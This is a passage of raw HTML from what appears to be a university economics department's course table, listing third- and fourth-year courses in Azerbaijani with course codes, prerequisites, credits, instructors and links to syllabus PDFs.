href=\"http://www.khazar.org/files/eco_depart/ACC210_Principles_of_Accounting_Elvin%20M%C9%99mm%C9%99dov.pdf\">Mühasibat uçotunun əsasları (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;Yoxdur</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elvin Məmmədov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">16</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles_of_Microeconomis_Rovshan_Guliyev.pdf\">Mikroiqtisadiyyatın əsasları (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Rövşən Quliyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">17&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles_of_Microeconomis_Rovshan_Guliyev.pdf\">Mikroiqtisadiyyatın əsasları (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Rövşən Quliyev  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">18&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles_of_Microeconomics_Shahriyar_Mukhtarov.pdf\">Mikroiqtisadiyyatın əsasları (C)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Şəhriyar&nbsp;Muxtarov  </td></tr><tr><td>&nbsp; 19</td><td>&nbsp; &nbsp;THM 101  </td><td>&nbsp; &nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles%20of%20Tourism%20-%20Gahraman_Yusupov.pdf\">Turizmin əsasları</a></td><td>&nbsp; &nbsp;ECON 100  </td><td>&nbsp;6  </td><td>&nbsp;Qəhrəman Yusupov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td colspan=\"6\" style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br style=\"box-sizing:border-box\"></td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<span style=\"box-sizing:border-box;font-weight:bold\">3</span><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media11722458706374161\" width=\"150\" height=\"100\">-cü&nbsp;il</span></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td>&nbsp;</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">1</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/International_Trade_Nijat_Grayev.pdf\">Mikroiqtisadiyyat</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Ceyhun Məmmədov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">2</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Syllabus_Management_and_Organization_Thursday.pdf\">Menecment və təşkilat (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Bahadır Baysal</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">3&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Syllabus_Management_and_Organization_Thursday.pdf\">Menecment və təşkilat (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Bahadır Baysal  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">4</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MKT 301</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles_of_Marketing_Bahadir_Baysal_yeni.pdf\">Marketinqin əsasları (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Bahadır Baysal  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">5</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MKT 301</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles_of_Marketing_Bahadir_Baysal_yeni.pdf\">Marketinqin əsasları (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Bahadır Baysal  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">6</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Fundamentals%20of%20Financial%20Management%20-%20Elvin%20M%C9%99mm%C9%99dov.pdf\">Maliyyə menecmentinin əsasları (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elmir Hüseynov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">7</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Fundamentals%20of%20Financial%20Management%20-%20Elmir%20Huseynov.pdf\">Maliyyə menecmentinin əsasları (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elvin Məmmədov  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">8&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 340</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principals_of_Taxation_Elnur_Eyvazov.pdf\">Vergilər və vergitutma</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elnur Eyvazov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">9</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Financial%20Accounting%20-%20Tarlan%20Isgandarov.pdf\">Maliyyə uçotu</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Tərlan İsgəndərov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">10</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 410</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Managerial%20Accounting-%20Orxan%20Karimov.pdf\">İdarəetmə uçotu</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Orxan Kərimov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">11</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 225</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Math_for_Economists_Spring%202017_Syllabus_Zaur%20Abdullazade.docx\">İqtisadiyyat və biznes riyaziyyatı</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Zaur abdullazadə</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">12</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;BSA 215</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Business%20Statistics-%20Vusal%20Mammadrzayev.pdf\">İqtisadiyyat və biznes statistikası (A)</a>&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Vüsal Məmmədrzayev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">13</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;BSA 215</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Business%20Statistics-%20Vusal%20Mammadrzayev.pdf\">İqtisadiyyat və biznes statistikası (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MATH 101</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Vüsal Məmmədrzayev  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td colspan=\"6\" style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br style=\"box-sizing:border-box\"></td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<span style=\"box-sizing:border-box;font-weight:bold\">4</span><span style=\"box-sizing:border-box;font-weight:bold\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media991016271414985\" width=\"150\" height=\"100\">-cü&nbsp;il</span></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;</td><td>&nbsp;</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">1</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 425</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Enviromental_Economics_and_Policy_Rovshan_Abbasov1.pdf\">Ətraf mühitin iqtisadiyyatı</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Rövşən Abbasov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">2</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 425&nbsp;<br style=\"box-sizing:border-box\"></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/%C4%B0nsurance_Firdovsi_Agasirinov.pdf\">Sığorta işi</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Firdovsi Ağaşirinov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">3</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 420</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Investment_Management_2017_Tural%20Gasimov.pdf\">İnvestisiyaların idarə edilməsi</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Tural Qasımov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">4&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 390</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/World_economy_Nijat_Guliyev.pdf\">Dünya iqtisadiyyatı (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 202</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Nicat Quliyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">5&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 390</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/World_Economy_%C5%9E%C9%99hriyar_Aliyev.pdf\">Dünya iqtisadiyyatı (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 202</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Şəhriyar Əliyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">6</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 340</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Principles%20of%20Taxation%20-%20%20Elmir%20Huseynov.pdf\">Vergilər və vergitutma</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ACC 210</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Elmir Hüseynov  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">7</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 440</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Operations_Management_Khumar%20Huseynova.pdf\">İstehsalın və əməliyyatların idarə edilməsi (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Xumar Hüseynova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">8</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 440</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Operations_Management_Khumar%20Huseynova.pdf\">İstehsalın və əməliyyatların idarə edilməsi (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Xumar Hüseynova  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">9&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;IB 410</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/International%20business%20-%20Fuad%20Aliyev.pdf\">Beynəlxalq biznes</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Fuad Əliyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">10</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MKT 420</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/International_Marketing_Laman%20Gayidova.pdf\">Beynəlxalq marketinq</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MKT 301</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Ləman Qayıdova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">11</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MKT 450&nbsp;<br style=\"box-sizing:border-box\"></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Marketing_research_Laman%20Gayidova.pdf\">Marketinq araşdırmaları</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MKT 301</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Ləman Qayıdova  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">12</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 450</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Human%20Resource%20Management%20%20-%20Erkin%20Nasirov.pdf\">İnsan resurslarıının idarə edilməsi (A)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 